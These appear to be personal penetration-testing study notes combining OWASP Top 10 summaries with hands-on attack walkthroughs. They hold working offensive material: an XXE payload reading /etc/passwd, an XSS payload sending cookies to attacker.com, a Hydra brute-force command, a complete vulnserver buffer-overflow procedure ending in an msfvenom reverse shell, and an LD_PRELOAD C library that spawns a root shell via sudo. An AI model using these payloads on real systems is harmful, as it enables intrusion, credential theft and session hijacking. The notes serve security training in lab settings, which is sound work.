Private Information (Privacy Violation)

Testing:

Main way to discover this is
through enumeration (dirbuster, source code, etc.)

Search for "keys",
"password" in Burpsuite responses -- in the sitemap

Response headers can also
provide data exposure

You can scan with https://securityheaders.com/

Nmap script

Looking for an "F"
or even a "C"

Deals with sensitive data
exposure if we can attack a cipher

XML External
Entities (XXE)

Friday,
February 18, 2022

1:52
PM

Overview:

Basics of XML:

<?xml
version="1.0" encoding="ISO-8859-1"?>

Metadata

Declared it's an XML document

# Create entity -
document type definition (DTD)

# Can call things
down with special characters

<!DOCTYPE gift [

<!ENTITY
from "Tyler&Heath">

]>

<gift> # Root
element

<To>Frank</To>
# Child element

<From>&from;</From>
# Child element - connects to entity

<Item>Pokemon
Cards</Item> # Child element

</gift>

Classic XXE Payload

<?xml
version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo[

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

Attack

Save the exploit to your
attacking machine.

Make a new account on the
website you're attacking

Log into the account

Navigate around and see what
you have access to on the website

Click on everything you see a
link for to catch them in Burpsuite

Look for an upload feature to
abuse

Can we bypass what the upload
feature is trying to do?

Bypass is always a finding

Upload your payload

Intercept the request and
send to repeater - if website is vulnerable, you will see a printout of
the /etc/passwd file

Defense

Disable external entities
completely

Broken
Access Control

Monday,
February 21, 2022

9:00
AM

Overview:

Exploitation of
access control is a core skill of attackers. SAST and DAST tools
can detect the absence of access control but cannot verify if it is
functional when it is present. Access control is detectable using manual
means, or possibly through automation for the absence of access controls in
certain frameworks.

Access control
weaknesses are common due to the lack of automated detection, and lack of
effective functional testing by application developers.

Access control
detection is not typically amenable to automated static or dynamic testing.
Manual testing is the best way to detect missing or ineffective access
control, including HTTP method (GET vs PUT, etc), controller, direct object
references, etc.

The technical
impact is attackers acting as users or administrators, or users using
privileged functions, or creating, accessing, updating or deleting every
record.

The business
impact depends on the protection needs of the application and data.

Is the Application Vulnerable?

Access
control enforces policy such that users cannot act outside of their intended
permissions. Failures typically lead to unauthorized information disclosure,
modification or destruction of all data, or performing a business function
outside of the limits of the user. Common access control vulnerabilities
include:

*
Bypassing access control checks by modifying the URL, internal application
state, or the HTML page, or simply using a custom API attack tool.

*
Allowing the primary key to be changed to another’s users record, permitting
viewing or editing someone else’s account.

*
Elevation of privilege. Acting as a user without being logged in, or acting
as an admin when logged in as a user.

*
Metadata manipulation, such as replaying or tampering with a JSON Web Token
(JWT) access control token or a cookie or hidden field manipulated to elevate
privileges, or abusing JWT invalidation.

* CORS
misconfiguration allows unauthorized API access.

* Force
browsing to authenticated pages as an unauthenticated user or to privileged
pages as a standard user. Accessing API with missing access controls for
POST, PUT and DELETE.

How to Prevent

Access
control is only effective if enforced in trusted server-side code or
server-less API, where the attacker cannot modify the access control check or
metadata.

* With
the exception of public resources, deny by default.

*
Implement access control mechanisms once and re-use them throughout the
application, including minimizing CORS usage.

* Model
access controls should enforce record ownership, rather than accepting that
the user can create, read, update, or delete any record.

*
Unique application business limit requirements should be enforced by domain
models.

*
Disable web server directory listing and ensure file metadata (e.g. .git) and
backup files are not present within web roots.

* Log
access control failures, alert admins when appropriate (e.g. repeated
failures).

* Rate
limit API and controller access to minimize the harm from automated attack
tooling.

* JWT
tokens should be invalidated on the server after logout.

Developers
and QA staff should include functional access control unit and integration
tests.

Example Attack Scenarios

Scenario #1: The application uses unverified
data in a SQL call that is accessing account information:

pstmt.setString(1,
request.getParameter("acct"));

ResultSet results =
pstmt.executeQuery( );

An
attacker simply modifies the ‘acct’ parameter in the browser to send whatever
account number they want. If not properly verified, the attacker can access
any user’s account.

http://example.com/app/accountInfo?acct=notmyacct

Scenario #2: An attacker simply force browses
to target URLs. Admin rights are required for access to the admin page.

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

If an
unauthenticated user can access either page, it’s a flaw. If a non-admin can
access the admin page, this is a flaw.

References

OWASP

* OWASP
Proactive Controls: Enforce Access Controls

* OWASP
Application Security Verification Standard: V4 Access Control

* OWASP
Testing Guide: Authorization Testing

* OWASP
Cheat Sheet: Access Control

External

* CWE-22: Improper
Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

* CWE-284: Improper
Access Control (Authorization)

* CWE-285: Improper
Authorization

* CWE-639: Authorization
Bypass Through User-Controlled Key

* PortSwigger:
Exploiting CORS misconfiguration

TLDR - A user gets access to
somewhere they should not.

Walkthrough:

(Leave feedback in another user's name)

Log in as authenticated user

Click "Customer
Feedback"

Fill out the feedback form.

Right click the form and
select "Inspect Element"

Delete where it says
"hidden" for input ID

This will show what text is
actually hidden

Change the ID (1 for example
-- 1 is usually admin)

Submit!

Security
Misconfiguration

Friday,
March 11, 2022

2:22
PM

Attackers will
often attempt to exploit unpatched flaws or access default accounts, unused
pages, unprotected files and directories, etc to gain unauthorized access or
knowledge of the system.

Security
misconfiguration can happen at any level of an application stack, including
the network services, platform, web server, application server, database,
frameworks, custom code, and pre-installed virtual machines, containers, or
storage. Automated scanners are useful for detecting misconfigurations, use
of default accounts or configurations, unnecessary services, legacy options,
etc.

Such flaws
frequently give attackers unauthorized access to some system data or
functionality. Occasionally, such flaws result in a complete system
compromise.

The business
impact depends on the protection needs of the application and data.

Is the Application Vulnerable?

The
application might be vulnerable if the application is:

*
Missing appropriate security hardening across any part of the application
stack, or improperly configured permissions on cloud services.

*
Unnecessary features are enabled or installed (e.g. unnecessary ports,
services, pages, accounts, or privileges).

*
Default accounts and their passwords still enabled and unchanged.

* Error
handling reveals stack traces or other overly informative error messages to
users.

* For
upgraded systems, latest security features are disabled or not configured
securely.

* The
security settings in the application servers, application frameworks (e.g.
Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure
values.

* The
server does not send security headers or directives or they are not set to
secure values.

* The software is out of date or vulnerable (see A9:2017-Using
Components with Known Vulnerabilities).

Without
a concerted, repeatable application security configuration process, systems
are at a higher risk.

How to Prevent

Secure
installation processes should be implemented, including:

* A
repeatable hardening process that makes it fast and easy to deploy another
environment that is properly locked down. Development, QA, and production
environments should all be configured identically, with different credentials
used in each environment. This process should be automated to minimize the
effort required to setup a new secure environment.

* A
minimal platform without any unnecessary features, components, documentation,
and samples. Remove or do not install unused features and frameworks.

* A task to review and update the configurations
appropriate to all security notes, updates and patches as part of the patch
management process (see A9:2017-Using
Components with Known Vulnerabilities). In
particular, review cloud storage permissions (e.g. S3 bucket permissions).

* A
segmented application architecture that provides effective, secure separation
between components or tenants, with segmentation, containerization, or cloud
security groups (ACLs).

* Sending security directives to clients, e.g. Security Headers.

* An
automated process to verify the effectiveness of the configurations and
settings in all environments.

Example Attack Scenarios

Scenario #1: The application server comes
with sample applications that are not removed from the production server.
These sample applications have known security flaws attackers use to
compromise the server. If one of these applications is the admin console, and
default accounts weren’t changed the attacker logs in with default passwords
and takes over.

Scenario #2: Directory listing is not
disabled on the server. An attacker discovers they can simply list
directories. The attacker finds and downloads the compiled Java classes,
which they decompile and reverse engineer to view the code. The attacker then
finds a serious access control flaw in the application.

Scenario #3: The application server’s
configuration allows detailed error messages, e.g. stack traces, to be
returned to users. This potentially exposes sensitive information or
underlying flaws such as component versions that are known to be vulnerable.

Scenario #4: A cloud service provider has
default sharing permissions open to the Internet by other CSP users. This
allows sensitive data stored within cloud storage to be accessed.

References

OWASP

* OWASP
Testing Guide: Configuration Management

* OWASP
Testing Guide: Testing for Error Codes

For additional requirements in this area, see the Application
Security Verification Standard V19 Configuration.

External

* NIST Guide
to General Server Hardening

* CWE-2: Environmental
Security Flaws

* CWE-16: Configuration

* CWE-388: Error
Handling

* CIS Security Configuration
Guides/Benchmarks

* Amazon
S3 Buc

Cross-Site
Scripting (XSS)

Friday,
March 11, 2022

2:27
PM

Is the Application Vulnerable?

There
are three forms of XSS, usually targeting users’ browsers:

* Reflected XSS: The application or API
includes unvalidated and unescaped user input as part of HTML output. A
successful attack can allow the attacker to execute arbitrary HTML and
JavaScript in the victim’s browser. Typically the user will need to interact
with some malicious link that points to an attacker-controlled page, such as
malicious watering hole websites, advertisements, or similar.

* Stored XSS: The application or API stores
unsanitized user input that is viewed at a later time by another user or an
administrator. Stored XSS is often considered a high or critical risk.

* DOM XSS: JavaScript frameworks, single-page
applications, and APIs that dynamically include attacker-controllable data to
a page are vulnerable to DOM XSS. Ideally, the application would not send
attacker-controllable data to unsafe JavaScript APIs.

Typical
XSS attacks include session stealing, account takeover, MFA bypass, DOM node
replacement or defacement (such as trojan login panels), attacks against the
user’s browser such as malicious software downloads, key logging, and other
client-side attacks.

How to Prevent

Preventing
XSS requires separation of untrusted data from active browser content. This
can be achieved by:

*
Using frameworks that automatically escape XSS by design, such as the latest
Ruby on Rails, React JS. Learn the limitations of each framework’s XSS
protection and appropriately handle the use cases which are not covered.

* Escaping untrusted HTTP request data based on the
context in the HTML output (body, attribute, JavaScript, CSS, or URL) will
resolve Reflected and Stored XSS vulnerabilities. The OWASP
Cheat Sheet ‘XSS Prevention’ has details
on the required data escaping techniques.

* Applying context-sensitive encoding when modifying the
browser document on the client side acts against DOM XSS. When this cannot be
avoided, similar context sensitive escaping techniques can be applied to
browser APIs as described in the OWASP
Cheat Sheet ‘DOM based XSS Prevention’.

* Enabling a Content Security
Policy (CSP) as a defense-in-depth
mitigating control against XSS. It is effective if no other vulnerabilities
exist that would allow placing malicious code via local file includes (e.g.
path traversal overwrites or vulnerable libraries from permitted content delivery
networks).

Example Attack Scenarios

Scenario #1: The application uses untrusted
data in the construction of the following HTML snippet without validation or
escaping:

(String) page += "<input name='creditcard'
type='TEXT'

value='" + request.getParameter("CC")
+ "'>";

The
attacker modifies the ‘CC’ parameter in the browser to:

'><script>document.location=

'http://www.attacker.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'.

This
attack causes the victim’s session ID to be sent to the attacker’s website,
allowing the attacker to hijack the user’s current session.

Note: Attackers can use XSS to defeat any
automated Cross-Site Request Forgery (CSRF) defense the application might
employ.

References

OWASP

* OWASP
Proactive Controls: Encode and Escape Data

* OWASP
Proactive Controls: Validate All Inputs

* OWASP
Application Security Verification Standard: V5

* OWASP
Testing Guide: Testing for Reflected XSS

* OWASP
Testing Guide: Testing for Stored XSS

* OWASP
Testing Guide: Testing for DOM XSS

* OWASP
Cheat Sheet: XSS Prevention

* OWASP
Cheat Sheet: DOM based XSS Prevention

* OWASP
Cheat Sheet: XSS Filter Evasion

* OWASP Java Encoder Project (old wiki)

External

* CWE-79: Improper
neutralization of user supplied input

* PortSwigger:
Client-side template injection

Insecure
Deserialization

Monday,
April 11, 2022

10:17
AM

Is the Application Vulnerable?

Applications
and APIs will be vulnerable if they deserialize hostile or tampered objects
supplied by an attacker. This can result in two primary types of attacks:

*
Object and data structure related attacks where the attacker modifies
application logic or achieves arbitrary remote code execution if there are
classes available to the application that can change behavior during or after
deserialization.

*
Typical data tampering attacks such as access-control-related attacks where
existing data structures are used but the content is changed.

Serialization
may be used in applications for:

*
Remote- and inter-process communication (RPC/IPC)

* Wire
protocols, web services, message brokers

*
Caching/Persistence

*
Databases, cache servers, file systems

* HTTP
cookies, HTML form parameters, API authentication tokens

How to Prevent

The
only safe architectural pattern is not to accept serialized objects from
untrusted sources or to use serialization mediums that only permit primitive
data types. If that is not possible, consider one of more of the following:

*
Implementing integrity checks such as digital signatures on any serialized
objects to prevent hostile object creation or data tampering.

*
Enforcing strict type constraints during deserialization before object
creation as the code typically expects a definable set of classes. Bypasses
to this technique have been demonstrated, so reliance solely on this is not
advisable.

*
Isolating and running code that deserializes in low privilege environments
when possible.

* Log
deserialization exceptions and failures, such as where the incoming type is
not the expected type, or the deserialization throws exceptions.

*
Restricting or monitoring incoming and outgoing network connectivity from
containers or servers that deserialize.

*
Monitoring deserialization, alerting if a user deserializes constantly.

Example Attack Scenarios

Scenario #1: A React application calls a set
of Spring Boot microservices. Being functional programmers, they tried to
ensure that their code is immutable. The solution they came up with is
serializing user state and passing it back and forth with each request. An attacker
notices the “R00” Java object signature, and uses the Java Serial Killer tool
to gain remote code execution on the application server.

Scenario #2: A PHP forum uses PHP object
serialization to save a “super” cookie, containing the user’s user ID, role,
password hash, and other state:

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

An
attacker changes the serialized object to give themselves admin privileges:

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

References

OWASP

* OWASP
Cheat Sheet: Deserialization

* OWASP
Proactive Controls: Validate All Inputs

* OWASP
Application Security Verification Standard

* OWASP
AppSecEU 2016: Surviving the Java Deserialization Apocalypse

* OWASP
AppSecUSA 2017: Friday the 13th JSON Attacks

External

* CWE-502:
Deserialization of Untrusted Data

* Java Unmarshaller Security

* OWASP AppSec
Cali 2015: Marshalling Pickl

Components
with Known Vulnerabilities

Monday,
April 11, 2022

10:22
AM

Is the Application Vulnerable?

You
are likely vulnerable:

* If
you do not know the versions of all components you use (both client-side and
server-side). This includes components you directly use as well as nested
dependencies.

* If
software is vulnerable, unsupported, or out of date. This includes the OS,
web/application server, database management system (DBMS), applications, APIs
and all components, runtime environments, and libraries.

* If
you do not scan for vulnerabilities regularly and subscribe to security
bulletins related to the components you use.

* If
you do not fix or upgrade the underlying platform, frameworks, and
dependencies in a risk-based, timely fashion. This commonly happens in
environments when patching is a monthly or quarterly task under change
control, which leaves organizations open to many days or months of
unnecessary exposure to fixed vulnerabilities.

* If
software developers do not test the compatibility of updated, upgraded, or
patched libraries.

* If you do not secure the components’ configurations
(see A6:2017-Security
Misconfiguration).

How to Prevent

There
should be a patch management process in place to:

*
Remove unused dependencies, unnecessary features, components, files, and
documentation.

* Continuously inventory the versions of both client-side
and server-side components (e.g. frameworks, libraries) and their
dependencies using tools like versions, DependencyCheck, retire.js, etc. Continuously monitor sources like CVE and NVD for
vulnerabilities in the components. Use software composition analysis tools to
automate the process. Subscribe to email alerts for security vulnerabilities
related to components you use.

* Only
obtain components from official sources over secure links. Prefer signed
packages to reduce the chance of including a modified, malicious component.

* Monitor for libraries and components that are
unmaintained or do not create security patches for older versions. If
patching is not possible, consider deploying a virtual
patch to monitor, detect, or protect
against the discovered issue.

Every
organization must ensure that there is an ongoing plan for monitoring,
triaging, and applying updates or configuration changes for the lifetime of
the application or portfolio.

Example Attack Scenarios

Scenario #1: Components typically run with
the same privileges as the application itself, so flaws in any component can
result in serious impact. Such flaws can be accidental (e.g. coding error) or
intentional (e.g. backdoor in component). Some example exploitable component
vulnerabilities discovered are:

* CVE-2017-5638, a Struts 2 remote code execution vulnerability that
enables execution of arbitrary code on the server, has been blamed for
significant breaches.

* While internet of things
(IoT) are frequently difficult or
impossible to patch, the importance of patching them can be great (e.g.
biomedical devices).

There are automated tools to help attackers find
unpatched or misconfigured systems. For example, the Shodan IoT search engine can help you find devices that still suffer
from Heartbleed vulnerability that was patched in April 2014.

References

OWASP

* OWASP
Application Security Verification Standard: V1 Architecture, design and
threat modelling

* OWASP Dependency Check
(for Java and .NET libraries)

* OWASP
Testing Guide - Map Application Architecture (OTG-INFO-010)

* OWASP
Virtual Patching Best Practices

External

* The
Unfortunate Reality of Insecure Libraries

* MITRE Common
Vulnerabilities and Exposures (CVE) search

* National
Vulnerability Database (NVD)

* Retire.js for detecting known
vulnerable JavaScript libraries

* Node
Libraries Security Advisories

* Ruby
Libraries Security Advisory Database and Tools

Insufficient
Logging and Monitoring

Monday,
April 11, 2022

10:29
AM

Is the Application Vulnerable?

Insufficient
logging, detection, monitoring and active response occurs any time:

*
Auditable events, such as logins, failed logins, and high-value transactions
are not logged.

*
Warnings and errors generate no, inadequate, or unclear log messages.

* Logs
of applications and APIs are not monitored for suspicious activity.

* Logs
are only stored locally.

*
Appropriate alerting thresholds and response escalation processes are not in
place or effective.

* Penetration testing and scans by DAST tools (such as OWASP ZAP) do not trigger alerts.

* The
application is unable to detect, escalate, or alert for active attacks in
real time or near real time.

You are vulnerable to information leakage if you make
logging and alerting events visible to a user or an attacker (see A3:2017-Sensitive
Data Exposure).

How to Prevent

As per
the risk of the data stored or processed by the application:

*
Ensure all login, access control failures, and server-side input validation
failures can be logged with sufficient user context to identify suspicious or
malicious accounts, and held for sufficient time to allow delayed forensic
analysis.

*
Ensure that logs are generated in a format that can be easily consumed by a
centralized log management solutions.

*
Ensure high-value transactions have an audit trail with integrity controls to
prevent tampering or deletion, such as append-only database tables or
similar.

*
Establish effective monitoring and alerting such that suspicious activities
are detected and responded to in a timely fashion.

* Establish or adopt an incident response and recovery
plan, such as NIST
800-61 rev 2 or later.

There are commercial and open source application
protection frameworks such as OWASP AppSensor (old wiki), web application firewalls such as ModSecurity with
the OWASP
ModSecurity Core Rule Set, and log correlation
software with custom dashboards and alerting.

Example Attack Scenarios

Scenario #1: An open source project forum
software run by a small team was hacked using a flaw in its software. The
attackers managed to wipe out the internal source code repository containing
the next version, and all of the forum contents. Although source could be
recovered, the lack of monitoring, logging or alerting led to a far worse
breach. The forum software project is no longer active as a result of this
issue.

Scenario #2: An attacker uses scans for users
using a common password. They can take over all accounts using this password.
For all other users, this scan leaves only one false login behind. After some
days, this may be repeated with a different password.

Scenario #3: A major US retailer reportedly
had an internal malware analysis sandbox analyzing attachments. The sandbox
software had detected potentially unwanted software, but no one responded to
this detection. The sandbox had been producing warnings for some time before
the breach was detected due to fraudulent card transactions by an external
bank.

References

OWASP

* OWASP
Proactive Controls: Implement Logging and Monitoring

* OWASP
Application Security Verification Standard: V8 Logging and Monitoring

* OWASP
Testing Guide: Testing for Detailed Error Code

* OWASP
Cheat Sheet: Logging

External

* CWE-223: Omission of
Security-relevant Information

* CW

-- TOOLS --

Wednesday,
March 16, 2022

2:11
PM

Hydra

Post Web Form

We can use Hydra to bruteforce web forms too, you will
have to make sure you know which type of request its making - a GET or POST
methods are normally used. You can use your browsers network tab (in developer
tools) to see the request types, or simply view the source code.

Below is an example Hydra command to brute force a
POST login form:

hydra -l <username> -P <wordlist>
MACHINE_IP http-post-form
"/:username=^USER^&password=^PASS^:F=incorrect" -V

Buffer
Overflows - Introduction

Steps to conduct a
buffer overflow:

Spiking

Fuzzing

Finding the Offset

Overwriting the EIP

Finding Bad Characters

Finding the Right Module

Generating Shellcode

Root!

Spiking

Housekeeping Steps:

Disable Windows Defender
Real-time Protection

Vulnserver will be blocked
if you don't do this

Open vulnserver.exe as
administrator

"Waiting for client
connections…"

Run Immunity Debugger as
administrator

File > Attach >
vulnserver > Attach

Click start button in to top
of screen

Should say
"running" instead of "paused"

Open Kali Linux

Connect to
Vulnserver

Default port =
9999

IP = base computer ip
address

Nc -nv
<ip> 9999

HELP = valid commands

See what's vulnerable
(spiking)

Create a spike
script

s_readline();

s_string("STATS
");

s_string_variable("0");

Save as stats.spk for this
example

Generic_send_tcp <ip>
9999 stats.spk 0 0

If program crashes =
vulnerable

Fuzzing

Fuzzing = very
similar to spiking.. Fuzzing is with multiple commands to find what's
vulnerable

Housekeeping Items:

Immunity Debugger as admin

Vulnserver as admin

Start running

Attach from debugger

Any time things crash,
restart and re-attach

Kali Machine

Python Script for Fuzzing:

#!/usr/bin/python

import
sys, socket

from
time import sleep

buffer
= "A" * 100

while
True:

try:

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('192.168.1.2',9999))

s.send(('TRUN
/.:/' + buffer))

s.close()

sleep(1)

buffer
= buffer + "A"*100

except:

print
"Fuzzing crash at %s bytes" % str(len(buffer))

sys.exit()

Create the script above and
save it as a .py script

chmod +x script.py (make
executable)

./script.py

Wait for crash -
when it does, kill the program (ctrl + c)

Finding the
Offset

We are going to be looking
for where we overwrite the EIP because that's what we want to control

Tool = pattern_create

Run the tool with
the following commands:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Copy the code that is
created

Modify fuzzing.script

Remove time
(don't need it)

Don't need a while loop
anymore - just a "try"

Send offset instead of
buffer

Paste value into the offset

Run the script (value =
386F4337)

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb
-l 3000 -q <EIP value>

Make note of the "exact
offset" value which is where we can control the EIP

2003

Overwriting
the EIP

Discovered offset = 2003
bytes

EIP itself is 4 bytes long…
need to overwrite those 4 bytes

cp offset.py overwrite.py

gedit overwrite.py

Delete offset
variable and replace with shellcode

shellcode = "A" *
2003 + "B" * 4

Finding Bad
Characters

Finding Bad
Characters = we need to know which characters are good & bad for the shell
code that we are generating

Go to https://github.com/cytopia/badchars

Copy the badchars = ((Entire
command under "Python" section))

cp offset.py bcharacter.py

Put badchars above shellcode
and paste from step 2

Delete null variable in
beginning

add the "badchars"
in the shellcode variable at the end

Run the script

Look at Hex dump (bottom left
corner)

Right click ESP
and select "Follow in dump"

Look for character that is
out of place to see which is a bad character

Finding the
Right Module

Looking for a .dll
or something similar inside of a program that has no memory protections

Tool = mona modules
(github)

Go to https://github.com/corelan/mona

Download mona.py

Put in Program
Files (x86)/Immunity Inc/Immunity Debugger/PyCommands

Type in immunity
debugger bar in the bottom

!mona modules

Look for where
protection settings are "false" across the board

Make note of the
file

Kali Linux --
locate nasm_shell

Copy the ruby
script

Paste in the ruby
script

Type JMP ESP
(used as pointer to jump to shell code)

Copy the FFE4
information

Immunity -- type
!mona find -s "\xff\xe4" -m essfunc.dll

Look for return
addresses - 0x625011af (example) under Results:

Kali Linux --
exit from NASM shell

gedit
bcharacters.py

Delete bad
characters

Remove B 4 shellcode

Type return address above
shellcode

shellcode = "A" *
2003 + "\xaf\x11\x50\x62"

x86
architecture reverse order

Immunity -- Click
arrow that is bluish black

Enter 62011af

Hit F2 to turn it
blue (sets breakpoint)

Click
"Play"

Kali Linux --
execute script

Generating
Shellcode and Gaining Root

Tool = msvenom

msfvenom -p
windows/shell_reverse_tcp LHOST=<ip of attack machine> LPORT=4444
EXITFUNC=thread -f c -a x86 -b "\x00"

Copy the shell code that is
generated

Open the python script you've
been using

Declare new
variable

Overflow =
(<pastecode>)

Add "\x90" * 32 +
overflow to shellcode variable

Save

Open new tab - nc -nvlp 4444

Run vulnserver as
administrator (no immunity debugger)

Run the python script

Root!

Enumeration

hostname:

return the hostname of the
target machine. Although this value can easily be changed or have a
relatively meaningless string (e.g. Ubuntu-3487340239), in some cases, it
can provide information about the target system’s role within the
corporate network.

Uname -a

print system information
giving us additional detail about the kernel used by the system. This will
be useful when searching for any potential kernel vulnerabilities that
could lead to privilege escalation.

/proc/version

The proc filesystem (procfs)
provides information about the target system processes. You will find proc
on many different Linux flavours, making it an essential tool to have in
your arsenal.Looking at /proc/version may give you information on the
kernel version and additional data such as whether a compiler (e.g. GCC)
is installed.

/etc/issue

This file usually contains
some information about the operating system but can easily be customized
or changes. While on the subject, any file containing system information
can be customized or changed.

ps

effective way to see the
running processes on a Linux system

PID: Process ID

TTY: Terminal type used

Time: Amount of CPU time
used by the process

CMD: The command or
executable running

Options:

ps -A: view all running
processes

ps axjf: view process tree

ps aux: show processes for
all users (a), display the user that launched the process (u), and show
processes that are not attached to a terminal (x)

env

Show environmental variables

PATH variable may have a
compiler or a scripting language (e.g. Python) that could be used to run
code on the target system or leveraged for privilege escalation.

sudo -l

The target system may be
configured to allow users to run some (or all) commands with root
privileges. The sudo -l command can be used to list all commands your user
can run using sudo

ls

While looking for potential
privilege escalation vectors, please remember to always use the ls command
with the -la parameter.

Id

provide a general overview of
the user’s privilege level and group memberships.

can be used with another use
(id Tyler) to see the same for a different user

cat /etc/passwd

easy way to discover users on
the system.

cat /etc/passwd | cut -d
":" -f

cut and converted to a
useful list for brute-force attacks

ifconfig

The target system may be a
pivoting point to another network. The ifconfig command will give us
information about the network interfaces of the system.

This can be confirmed using
the ip route command to see which network routes exist.

netstat

used with several different
options to gather information on existing connections.

netstat -a: shows all
listening ports and established connections

netstat -at/netstat -au:
used to list TCP or UDP protocols respectively

netstat -l: list port in
"listening" mode. These ports are open and ready to accept
incoming connections.

netstat -s: list network
usage statistics by protocol

netstat -tp: list
connections with the service name and PID information

netstat -i: Interface
statistics.

netstat -ano

-a: Display all sockets

-n: Do not resolve names

-o: Display timers

find

Searching the target system
for important information and potential privilege escalation vectors can
be fruitful. The built-in “find” command is useful

find . -name flag1.txt: find
the file named “flag1.txt” in the current directory

find /home -name flag1.txt:
find the file names “flag1.txt” in the /home directory

find / -type d -name config:
find the directory named config under “/”

find / -type f -perm 0777:
find files with the 777 permissions (files readable, writable, and
executable by all users)

find / -perm a=x: find
executable files

find /home -user frank: find
all files for user “frank” under “/home”

find / -mtime 10: find files
that were modified in the last 10 days

find / -atime 10: find files
that were accessed in the last 10 day

find / -cmin -60: find files
changed within the last hour (60 minutes)

find / -amin -60: find files
accesses within the last hour (60 minutes)

find / -size 50M: find files
with a 50 MB size

find / -writable -type d
2>/dev/null : Find world-writeable folders

find / -perm -222 -type d
2>/dev/null: Find world-writeable folders

find / -perm -o w -type d
2>/dev/null: Find world-writeable folders

Find development tools and
supported languages:

find / -name perl*

find / -name python*

find / -name gcc*

Find specific file
permissions:

find / -perm -u=s -type f
2>/dev/null: Find files with the SUID bit, which allows us to run the
file with a higher privilege level than the current u

Automated Enumeration Tools:

LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

LinEnum: https://github.com/rebootuser/LinEnum

LES (Linux Exploit
Suggester): https://github.com/mzet-/linux-exploit-suggester

Linux Smart
Enumeration: https://github.com/diego-treitos/linux-smart-enumeration

Linux Priv Checker: https://github.com/linted/linuxprivchecker

Kernel
Exploits

Privilege escalation
ideally leads to root privileges. This can sometimes be achieved simply by
exploiting an existing vulnerability, or in some cases by accessing another
user account that has more privileges, information, or access.

Unless a single
vulnerability leads to a root shell, the privilege escalation process will rely
on misconfigurations and lax permissions.

The kernel on Linux
systems manages the communication between components such as the memory on the
system and applications. This critical function requires the kernel to have
specific privileges; thus, a successful exploit will potentially lead to root privileges.

The Kernel exploit
methodology is simple;

Identify the kernel version

uname -a

Search and find an exploit
code for the kernel version of the target system

Run the exploit

Although it looks
simple, please remember that a failed kernel exploit can lead to a system
crash. Make sure this potential outcome is acceptable within the scope of your
penetration testing engagement before attempting a kernel exploit.

Research sources:

Based on your findings, you
can use Google to search for an existing exploit code.

Sources such as https://www.linuxkernelcves.com/cves can also be useful.

Another alternative would be
to use a script like LES (Linux Exploit Suggester) but remember that these
tools can generate false positives (report a kernel vulnerability that
does not affect the target system) or false negatives (not report any
kernel vulnerabilities although the kernel is vulnerable).

Hints/Notes:

Being too specific about the
kernel version when searching for exploits on Google, Exploit-db, or
searchsploit

Be sure you understand how
the exploit code works BEFORE you launch it. Some exploit codes can make
changes on the operating system that would make them unsecured in further
use or make irreversible changes to the system, creating problems later.
Of course, these may not be great concerns within a lab or CTF
environment, but these are absolute no-nos during a real penetration
testing engagement.

Some exploits may require
further interaction once they are run. Read all comments and instructions
provided with the exploit code.

You can transfer the exploit
code from your machine to the target system using the SimpleHTTPServer
Python module and wget respectively.

Compile c code:

gcc program.c -O
newProgramName

Sudo

The sudo command, by
default, allows you to run a program with root privileges. Under some
conditions, system administrators may need to give regular users some
flexibility on their privileges. For example, a junior SOC analyst may need to
use Nmap regularly but would not be cleared for full root access. In this
situation, the system administrator can allow this user to only run Nmap with
root privileges while keeping its regular privilege level throughout the rest
of the system.

Any user can check
its current situation related to root privileges using the sudo -l command.

https://gtfobins.github.io/ is a
valuable source that provides information on how any program, on which you may
have sudo rights, can be used.

Leverage application functions

Some applications will not have a known exploit within
this context. Such an application you may see is the Apache2 server.

In this case, we can use a "hack" to
leak information leveraging a function of the application. As you can see
below, Apache2 has an option that supports loading alternative configuration
files (-f : specify an alternate

ServerConfigFile).

Loading the /etc/shadow file
using this option will result in an error message that includes the first line
of the /etc/shadow file.

Leverage LD_PRELOAD

On some systems, you may see the LD_PRELOAD
environment option.

LD_PRELOAD is a function that allows any
program to use shared libraries. This blog post will give you an idea about the capabilities of
LD_PRELOAD. If the "env_keep" option is enabled we can generate a
shared library which will be loaded and executed before the program is run.
Please note the LD_PRELOAD option will be ignored if the real user ID is
different from the effective user ID.

The steps of this privilege escalation vector can be
summarized as follows;

Check for LD_PRELOAD (with the env_keep option)

Write a
simple C code compiled as a share object (.so extension) file

Run the
program with sudo rights and the LD_PRELOAD option pointing to our .so
file

The C code will simply spawn a root shell and can be
written as follows;

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/bash");

}

We can save this code as shell.c and compile it using
gcc into a shared object file using the following parameters;

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

We can now use this shared object file when launching
any program our user can run with sudo. In our case, Apache2, find, or almost
any of the programs we can run with sudo can be used.

We need to run the program by specifying the
LD_PRELOAD option, as follows;

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

This will result in a shell spawn with root
privileges.

SUID

Much of Linux privilege controls rely on
controlling the users and files interactions. This is done with permissions. By
now, you know that files can have read, write, and execute permissions. These
are given to users within their privilege levels. This changes with SUID
(Set-user Identification) and SGID (Set-group Identification). These allow
files to be executed with the permission level of the file owner or the group
owner, respectively.

You will notice these files have an “s” bit set
showing their special permission level.

find / -type f -perm -04000 -ls 2>/dev/null will
list files that have SUID or SGID bits set.

A good practice would be to compare executables on this
list with GTFOBins (https://gtfobins.github.io). Clicking on the SUID button will filter binaries known
to be exploitable when the SUID bit is set (you can also use this link for a
pre-filtered list  https://gtfobins.github.io/#+suid).

The
list above shows that nano has the SUID bit set. Unfortunately, GTFObins does
not provide us with an easy win. Typical to real-life privilege escalation
scenarios, we will need to find intermediate steps that will help us leverage
whatever minuscule finding we have.

The SUID bit set for the nano text editor
